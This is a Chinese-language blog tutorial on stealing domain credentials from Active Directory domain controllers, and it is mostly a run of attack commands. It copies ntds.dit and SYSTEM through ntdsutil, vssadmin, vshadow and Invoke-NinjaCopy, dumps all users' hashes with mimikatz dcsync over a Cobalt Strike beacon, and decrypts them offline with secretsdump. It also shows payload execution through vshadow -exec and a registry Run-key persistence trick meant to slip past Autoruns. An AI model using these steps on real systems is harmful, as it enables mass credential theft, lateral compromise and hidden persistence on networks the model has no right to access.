域环境密码凭证获取

缺乏、安全感 2023-10-12 22:54 13阅读 0赞

## 域内密码凭证获取 ##

### Ntds.dit ###

活动目录数据库（NTDS.DIT）  
Ntds.dit 是主要的AD数据库，包括有关域用户，组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值，使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计，需要两个文件的副本。

非域环境也就是在工作组环境中，有一个sam文件存储着当前主机用户的密码信息，想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

AD DS 数据存储：

由 Ntds.dit 文件构成。

默认存储在所有域控制器上的 %SystemRoot%\\NTDS 文件夹中

只能通过域控制器进程和协议访问。

Ntds.dit：包含了当前域中所有的用户的账号信息，和其HASH值通过获取 Ntds.dit 和 SYSTEM 文件的副本，最可靠的执行密码审计的方法是脱机的。  
由于Windows阻止这些操作阻止标准读取或复制，因此必须使用特殊技术来获取副本。

> ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit  
> system文件位置: C:\\Windows\\System32\\config\\SYSTEM  
> sam文件位置: C:\\Windows\\System32\\config\\SAM

####  ####

### 活动目录数据库 ###

> 由 NTDS.DIT 文件构成，是Active Directory的核心
> 
> 存储在域控的 \**%SystemRoot%\\ntds\** 文件夹下
> 
> 只能通过域控制器进程和协议访问

**在工作组环境中，SAM文件存储着当前主机用户的密码哈希值  
在域环境中，NTDS.DIT文件存储了域中所有用户的密码哈希值**

因此我们可以通过获取到这两个文件，然后破解得到其中所存储的密码哈希值。

Windows系统为了进一步保护存储的密码哈希值，使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。

因此想要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件。

由于Window会阻止对这些文件的标准读取或复制操作，如果直接去复NTDS.DIT 文件，会提示文件被系统占用，所以常规的复制下载方法是无法获取到文件副本的，因此需要通过特殊方法来获取。

### Volume Shadow Copy ###

Volume Shadow Copy Service 卷影复制服务（VSS）是微软从 Windows XP 开始提供的用于创建一致性的时间点副本（也就是快照）的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时，可以使用它们来备份应用程序数据，而无需使应用程序脱机。

> 用于数据备份。
> 
> 支持 Windows Server 2003 及以上操作系统。
> 
> 系统默认在特定条件下自动创建数据备份，如补丁安装后。在Win7系统大概每隔一周自动创建备份，该时间无法确定。
> 
> 禁用 VSS 会影响系统正常使用，如 System Restore 和 Windows ServerBackup，我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。

**注意：**

> 1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志， Event ID 为7036。  
> 2. 执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外  
> 产生 Event ID 为 98 的日志

> hash数量：所有用户  
> 免杀：不需要  
> 优点：获得信息全面  
> 简单高效  
> 无需下载ntds.dit，隐蔽性高

### Ntdsutil ###

Ntdsutil.exe 是一个命令行工具，它为 Active Directory 域服务 (AD DS) 和Active Directory 轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行AD DS 的数据库维护，管理和控制单个主机操作，并删除域控制器留下的元数据，这些域控制器在未正确卸载的情况下从网络中删除。

域环境默认安装，要使用 Ntdsutil.exe ，您必须从管理员命令提示符运行。

如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色，则可以使用dsdbutil.exe 和 dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。

> 支持系统：
> 
> Windows Server 2003  
> Windows Server 2008  
> Windows Server 2012

####  ####

### 交互式 ###

1.以下命令，使用CMD.EXE以管理员身份运行

> ntdsutil \#进入ntdsutil命令行
> 
>   
> activate instance ntds \#激活 AD DS 实例
> 
> snapshot
> 
>   
> create
> 
>   
> mount \[GUID\]
> 
>   
> copy C:\\$SNAP\_202205161140\_VOLUMEC$\\Windows\\NTDS\\ntds.dit
> 
> \# copy 完之后再执行  
> del \[GUID\]

![ffe0a604f30f4df6be5268f0702e98b2.png][]

![e47db62f8bdc42c9893db7b03f2a0488.png][]

![03b0c1b90dc44c5e8a2e6a23757c2790.png][]

2.以下命令，使用CMD.EXE以管理员身份运行

> \#激活 AD DS 实例  
> activate instance ntds  
> ifm \#为可写（full）和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质。  
> create full <Drive>:\\<Folder> \#为可写 Active Directory 域控制器或 AD LDS 实例创建安装介质到指定文件夹中

![ebe1949a68004f5eaf3db2bb0a835249.png][]

<Drive>:\\<Folder> 是要创建文件的文件夹路径。

![e5577f8719394c25a04e3b0751731837.png][]

### 非交互式 ###

#### 查询当前系统的快照 ####

> ntdsutil snapshot "List All" quit quit  
> ntdsutil snapshot "List Mounted" quit quit

![a98dfc84f94241c0b455735a3986977f.png][]

#### 创建快照 ####

> ntdsutil snapshot "activate instance ntds" create quit quit

![cc7665e0c93d4eeb833d73ecdb646716.png][]

guid：5f75aadf-8325-4ddb-987a-e7470de2ea74

#### 挂载快照 ####

> ntdsutil snapshot "mount \{5f75aadf-8325-4ddb-987a-e7470de2ea74\}" quit quit

![dc3a85b68ff340d989087bab88955d0e.png][]

#### 复制ntds.dit ####

> copy C:\\$SNAP\_202307021740\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds2.dit
> 
> copy C:\\$SNAP\_202307021740\_VOLUMEC$\\windows\\system32\\config\\SYSTEM c:\\SYSTEM

![174a22ebcd4f43b3990bf593137d60ed.png][]

#### 卸载快照 ####

> ntdsutil snapshot "unmount \{5f75aadf-8325-4ddb-987a-e7470de2ea74\}" quit quit

![d73d35ef804b4082b3ac7f006b517797.png][]

#### 删除快照 ####

> ntdsutil snapshot "delete \{daee5123-b284-47fe-b02e-6e67e8d80fb1\}" quit quit

![8efc11a5ebd040d4975078e4477001eb.png][]

### Vssadmin ###

vssadmin：卷影复制服务管理命令行工具

域环境默认安装

> 支持系统：
> 
> Windows Server 2003  
> Windows Server 2008  
> Windows Server 2012

#### 查询当前系统的快照 ####

> vssadmin list shadows

#### ![111074afb1bc4eba8762fd0a6c533d3b.png][] ####

#### 创建快照 ####

> vssadmin create shadow /for=c:

![f74aaf85ac5e4b3c80a400258de6bb34.png][]

获得 Shadow Copy Volume Name 为 \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy6

#### 复制ntds.dit ####

> copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy6\\windows\\NTDS\\ntds.dit c:\\ntds3.dit

#### ![bf3a06a1f79d4ba58cae4441e123d184.png][] ####

#### 删除快照 ####

> vssadmin delete shadows /for=c: /quiet

![d7b9dbb3cba64c01aaaac9ebac4e35ca.png][]

### Vshadow ###

Vshadow ( vshadow.exe )： 是用于管理卷影副本的命令行实用程序。此工具包含在Microsoft Windows Software Development Kit (SDK) 中，有 Microsoft 签名。  
Vshadow 有很多功能，包括执行脚本和调用命令以支持卷影快照管理的能力。

#### 查询当前系统的快照 ####

> vshadow.exe -q

我没有创建![645aa87f26b2493497f16b4be546adaa.png][]

#### 创建快照 ####

> vshadow.exe -p -nw C:
> 
> 参数说明：
> 
> \-p persistent，备份操作，重启系统不会删除
> 
> \-nw no writers，用来提高创建速度
> 
> C: 对应c盘

![2ff4d5a0e15e469aa724164bab23973d.png][]

获得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name

#### 复制ntds.dit ####

> copy \[Shadow copy device name\]\\windows\\ntds\\ntds.dit c:\\ntds.dit

![bcc8b07b8d254e829101f552cfa5c58c.png][]

#### 删除快照 ####

> vshadow -dx=\{SnapshotSetID\}  
> vshadow -ds=\{SNAPSHOT ID\}

![5297ee1c4e124fff81c1fa6bee6671e5.png][]![377f718e53aa4107816478bdff6fee68.png][]

#### 利用vshdow执行命令 ####

Vshadow.exe 支持 -exec 参数，可用于执行二进制文件(.exe)或脚本(.bat/.cmd)

\-exec 参数不支持命令参数。

> **要求：**
> 
> 管理员权限  
> 上传 Vshadow.exe  
> 上传攻击载荷

**执行命令格式：**

> vshadow.exe -nw -exec=<\\path\\to\\exe> <系统驱动器>

\-nw：允许我们在不调用卷影副本编写器的情况下创建卷影副本，实际上，这是一个非持久性卷影副本，不会留下“物理”磁盘证据。

**执行命令：**

> 使用CS上线:
> 
> beacon> shell vshadow.exe -nw -exec=c:\\windows\\system32\\notepad.exe c:  
> \[\*\] Tasked beacon to run: vshadow.exe -nw -  
> exec=c:\\windows\\system32\\notepad.exe c:  
> \[+\] host called home, sent: 87 bytes

成功执行 Vshadow 将启动卷影服务 (VSS)，如系统事件 ID 7036 所示，并调用VSSVC.exe 进程。

执行后，后台存在进程 VSSVC.exe ，同时显示服务 Volume Shadow Copy 正在运行，需要手动关闭进程 VSSVC.exe。

注：手动关闭进程 VSSVC.exe 会生成日志 7034

#### 自启动持久化和规避 ####

**利用思路：**  
vshadow.exe 包含微软签名，能绕过某些白名单的限制。如果作为启动项，Autoruns 的默认启动列表不显示。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\vshadow.exe -nw - exec=c:\windows\system32\notepad.exe c:"

![3044100336934032a6f3c1a3bd763782.png][]

> 在 AutoRuns 中，当过滤 Microsoft Entries 时，我们将看不到我们的登录条目。
> 
> 但是，如果我们取消选择 Microsoft Entries 并启用Windows Entries ，我们将看到我们的持久性机制的记录。

![c8be5da545844342879cd2537e01cabf.png][]

#### NinjaCopy ####

使用 PowerShell 复制 NTDS.dit / Registry Hives ，绕过 SACL/ DACL / File Locks

用于获取哈希的技术要么依赖于将代码注入 LSASS ，要么使用卷影复制服务来获取包含哈希的文件的副本。

Invoke-NinjaCopy ，一个 PowerShell 脚本，能够通过获取卷的读取句柄并解析NTFS 来复制 NTDS.dit 、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM 、注入到 SYSTEM 进程或启动新服务/可疑程序。

原理简述：获取 C 卷的读取句柄（管理员帐户可以执行此操作），能够读取整个卷的原始字节。然后，解析 C 卷上的 NTFS 结构，确定特定文件的字节在卷上的位置，扫描到该位置并复制文件字节。

> Import-Module .\\invoke-NinjaCopy.ps1
> 
> Invoke-NinjaCopy -Path C:\\Windows\\System32\\config\\SAM -LocalDestination.\\sam.hive
> 
> Invoke-NinjaCopy -Path C:\\Windows\\System32\\config\\SYSTEM -LocalDestination .\\system.hive
> 
> Invoke-NinjaCopy -Path "C:\\windows\\ntds\\ntds.dit" -LocalDestination"C:\\Users\\Administrator\\Desktop\\ntds.dit"

\#在CS使用该命令时只需要在前边加上powershell即可

### 解密Ntds.dit文件 ###

#### mimikatz在线破解 ####

在线破解，不用将域控上的 ntds.dit 文件下载下来，直接在已有的shell上破解。

有一个cs弹回的beacon，就可以在beacon中直接利用mimikatz来破解，这一切的前提是有管理员权限。Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。

使用Mimikatz的 dcsync 功能，可以利用目录复制服务（Directory Replication Service,DRS）从NTDS.DIT文件中提取密码哈希值。

在获得管理员权限后，通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。

####  ####

#### 获取starry域内所有用户Hash ####

> lsadump::dcsync /domain:starry.local /all /csv

![ce073c9ab7244c488f5117597c6c417b.png][]

#### 查看单个用户的详细信息 ####

> lsadump::dcsync /domain:starry.local /user:bob

![cc43ec1929284839b7451688539c1638.png][]

#### 查看所有用户的详细信息 ####

> lsadump::lsa /inject

![4d4b8e8d562549d5b04955ba40ae93f3.png][]

#### 离线破解 ####

离线破解一般需要两步，首先就是将远端域控的 ntds.dit 下载到本地，然后再在本地进行破解。

ntds.dit 文件一直在被 windows 系统使用，所以常规的复制下载方法是无法将文件下载到本地的。

首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地，然后在本地进行破解。

**QuarksPwDump**

QuarksPwDump 是一款用于Windows用户凭据提取的开源工具，它可以抓取windows平台下多种类型的用户凭据，包括：本地帐户、域帐户、缓存的域帐户和Bitlocker。

需要上传到目标主机执行（获取目标主机的 SYSKEY 解密 ntds.dit ），但是容易被杀软查杀。

> esentutl /p /o ntds.dit

##### SecretsDump #####

通过 impacket 套件中的 secretsdump.exe的程序

> Secretsdump.exe -system SYSTEM -ntds ntds.dit LOCAL

![21bdb1e4d89847a89527b8996a1c4fed.png][]

...

[ffe0a604f30f4df6be5268f0702e98b2.png]: https://img-blog.csdnimg.cn/ffe0a604f30f4df6be5268f0702e98b2.png
[e47db62f8bdc42c9893db7b03f2a0488.png]: https://img-blog.csdnimg.cn/e47db62f8bdc42c9893db7b03f2a0488.png
[03b0c1b90dc44c5e8a2e6a23757c2790.png]: https://img-blog.csdnimg.cn/03b0c1b90dc44c5e8a2e6a23757c2790.png
[ebe1949a68004f5eaf3db2bb0a835249.png]: https://img-blog.csdnimg.cn/ebe1949a68004f5eaf3db2bb0a835249.png
[e5577f8719394c25a04e3b0751731837.png]: https://img-blog.csdnimg.cn/e5577f8719394c25a04e3b0751731837.png
[a98dfc84f94241c0b455735a3986977f.png]: https://img-blog.csdnimg.cn/a98dfc84f94241c0b455735a3986977f.png
[cc7665e0c93d4eeb833d73ecdb646716.png]: https://img-blog.csdnimg.cn/cc7665e0c93d4eeb833d73ecdb646716.png
[dc3a85b68ff340d989087bab88955d0e.png]: https://img-blog.csdnimg.cn/dc3a85b68ff340d989087bab88955d0e.png
[174a22ebcd4f43b3990bf593137d60ed.png]: https://img-blog.csdnimg.cn/174a22ebcd4f43b3990bf593137d60ed.png
[d73d35ef804b4082b3ac7f006b517797.png]: https://img-blog.csdnimg.cn/d73d35ef804b4082b3ac7f006b517797.png
[8efc11a5ebd040d4975078e4477001eb.png]: https://img-blog.csdnimg.cn/8efc11a5ebd040d4975078e4477001eb.png
[111074afb1bc4eba8762fd0a6c533d3b.png]: https://img-blog.csdnimg.cn/111074afb1bc4eba8762fd0a6c533d3b.png
[f74aaf85ac5e4b3c80a400258de6bb34.png]: https://img-blog.csdnimg.cn/f74aaf85ac5e4b3c80a400258de6bb34.png
[bf3a06a1f79d4ba58cae4441e123d184.png]: https://img-blog.csdnimg.cn/bf3a06a1f79d4ba58cae4441e123d184.png
[d7b9dbb3cba64c01aaaac9ebac4e35ca.png]: https://img-blog.csdnimg.cn/d7b9dbb3cba64c01aaaac9ebac4e35ca.png
[645aa87f26b2493497f16b4be546adaa.png]: https://img-blog.csdnimg.cn/645aa87f26b2493497f16b4be546adaa.png
[2ff4d5a0e15e469aa724164bab23973d.png]: https://img-blog.csdnimg.cn/2ff4d5a0e15e469aa724164bab23973d.png
[bcc8b07b8d254e829101f552cfa5c58c.png]: https://img-blog.csdnimg.cn/bcc8b07b8d254e829101f552cfa5c58c.png
[5297ee1c4e124fff81c1fa6bee6671e5.png]: https://img-blog.csdnimg.cn/5297ee1c4e124fff81c1fa6bee6671e5.png
[377f718e53aa4107816478bdff6fee68.png]: https://img-blog.csdnimg.cn/377f718e53aa4107816478bdff6fee68.png
[3044100336934032a6f3c1a3bd763782.png]: https://img-blog.csdnimg.cn/3044100336934032a6f3c1a3bd763782.png
[c8be5da545844342879cd2537e01cabf.png]: https://img-blog.csdnimg.cn/c8be5da545844342879cd2537e01cabf.png
[ce073c9ab7244c488f5117597c6c417b.png]: https://img-blog.csdnimg.cn/ce073c9ab7244c488f5117597c6c417b.png
[cc43ec1929284839b7451688539c1638.png]: https://img-blog.csdnimg.cn/cc43ec1929284839b7451688539c1638.png
[4d4b8e8d562549d5b04955ba40ae93f3.png]: https://img-blog.csdnimg.cn/4d4b8e8d562549d5b04955ba40ae93f3.png
[21bdb1e4d89847a89527b8996a1c4fed.png]: https://img-blog.csdnimg.cn/21bdb1e4d89847a89527b8996a1c4fed.png